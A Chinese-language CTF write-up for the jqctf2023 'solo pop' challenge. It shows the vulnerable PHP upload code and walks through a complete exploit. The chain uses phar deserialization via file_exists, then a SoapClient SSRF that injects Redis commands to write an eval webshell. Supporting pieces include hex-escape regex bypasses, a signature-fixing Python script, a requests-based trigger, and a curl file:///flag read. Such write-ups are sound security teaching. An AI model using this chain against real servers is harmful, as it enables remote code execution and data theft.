这里用的大头的环境复现的,源文章:https://www.yuque.com/dat0u/ctf/sderglp3e16086dg
1 docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} ccr.ccs.tencentyun.com/lxxxin/public:jqctf2023-solo-pop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php highlight_file (__FILE__ );class test_upload { public $check ; public $filename ; public function __construct ($filename ) { $this ->check = new check (); $this ->filename = $filename ; } public function __destruct ( ) { if (!$this ->check->checkname ($this ->filename)) { die ('error' ); } } } class check { public function checkname ($filename ) { $ext = pathinfo ($filename , PATHINFO_EXTENSION); return in_array ($ext , array ('jpg' , 'png' ), true ); } } if (!empty ($_FILES ['file' ]['tmp_name' ])) { $tmpname = $_FILES ['file' ]['tmp_name' ]; $filename = $_FILES ['file' ]['name' ]; if (is_uploaded_file ($tmpname )) { if (move_uploaded_file ($tmpname , "/var/www/html/check.jpg" )) { echo "upload ok" ; } } } if (is_file ('check.jpg' )) { if (preg_match ("/ph|\\\x|<\?/i" , file_get_contents ('check.jpg' ))) { unlink ('check.jpg' ); die ('error1' ); } if (!getimagesize ('check.jpg' )) { unlink ('check.jpg' ); die ('error2' ); } } if (file_exists ($_GET ['img_file' ])) { echo "success" ; }
分析一下:
testupload类有个__destruct
魔术方法可以调用一个checkname()方法,这里是phar序列化漏洞利用点
check类就有一个检测后缀的函数(允许jpg和png后缀)
然后是一个文件上传点我们可以上传任意文件,会被保存到/var/www/html/check.jpg
然后检测是否存在check.jpg文件,然后做了一个正则匹配不能出现ph,\x,<?
这样的情况
然后检测check.jpg的文件头字节是否属于图片不是就删掉
最后就是我们可以传参控制phar文件路径,这里的file_exists()函数就是受影响的函数,当检查的文件是phar文件时会自动反序列化meta-data数据
我们访问robots.txt可以发现: redis.conf里可以找到redis的密码:574c941c5987232d337276764d3413c4
htaccess.txt可以发现:1 2 AddType application/x-httpd-php .wupco SetHandler application/x-httpd-php
他可以把wupco后缀当成php文件解析
思路: phar反序列化,test_upload的check成员设置为SoapClient对象,当调用if (!$this->check->checkname($this->filename)) {
时,调用不存在方法会调用SoapClient的__invoke
方法发送ssrf去打redis写webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php $target = 'http://127.0.0.1:6379/' ;$poc0 ="AUTH 574c941c5987232d337276764d3413c4" ;$poc ="CONFIG SET dir /var/www/html/" ;$poc1 ="SET x '<?=eval(\$_POST[1]);?>'" ;$poc2 ="CONFIG SET dbfilename shell.php" ;$poc3 ="SAVE" ;$uri = 'hello^^' .$poc0 .'^^' .$poc .'^^' .$poc1 .'^^' .$poc2 .'^^' .$poc3 .'^^hello' ;$uri = str_replace ('^^' ,"\r\n" ,$uri );$a = array ('location' => $target ,'uri' => $uri );$b = new SoapClient (null , $a );class test_upload { public $check ; public $filename ; public function __construct ($check , $filename ) { $this ->filename = $filename ; $this ->check = $check ; } } $exp = new test_upload ($b , 'exp.jpg' );$phar = new Phar ("exp.phar" ); $phar ->startBuffering ();$phar ->setStub ('GIF89a' . '__HALT_COMPILER();' ); $phar ->setMetadata ($exp ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();rename ("exp.phar" , "exp.jpg" );
由于题目用正则匹配了文件内容,所以直接上传上面的包是不行的,check.jpg会被删掉,所以我们需要对exp.jpg做处理:
利用序列化字符串16进制绕过,将s改成S
把?做16进制编码加个反斜杠,即\3f
由于还会匹配ph字样,所以把h也做16进制编码,编码成\68
此时需要重新计算签名:1 2 3 4 5 6 7 from hashlib import sha1 with open ('./exp.jpg' , 'rb' ) as file: f = file.read() s = f[:-28 ] h = f[-8 :] newf = s + sha1(s).digest() + h file.write(newf)
exp:1 2 3 4 5 6 import requests url='http://127.0.0.1:12345/' files={'file' :open ("jmx.jpg" ,'rb' )} req=requests.post(url=url,files=files) requests.get(url=url+"?img_file=phar:///var/www/html/check.jpg/test.txt" )
这个镜像设置了curl的suid权限1 1=system('curl file:///flag');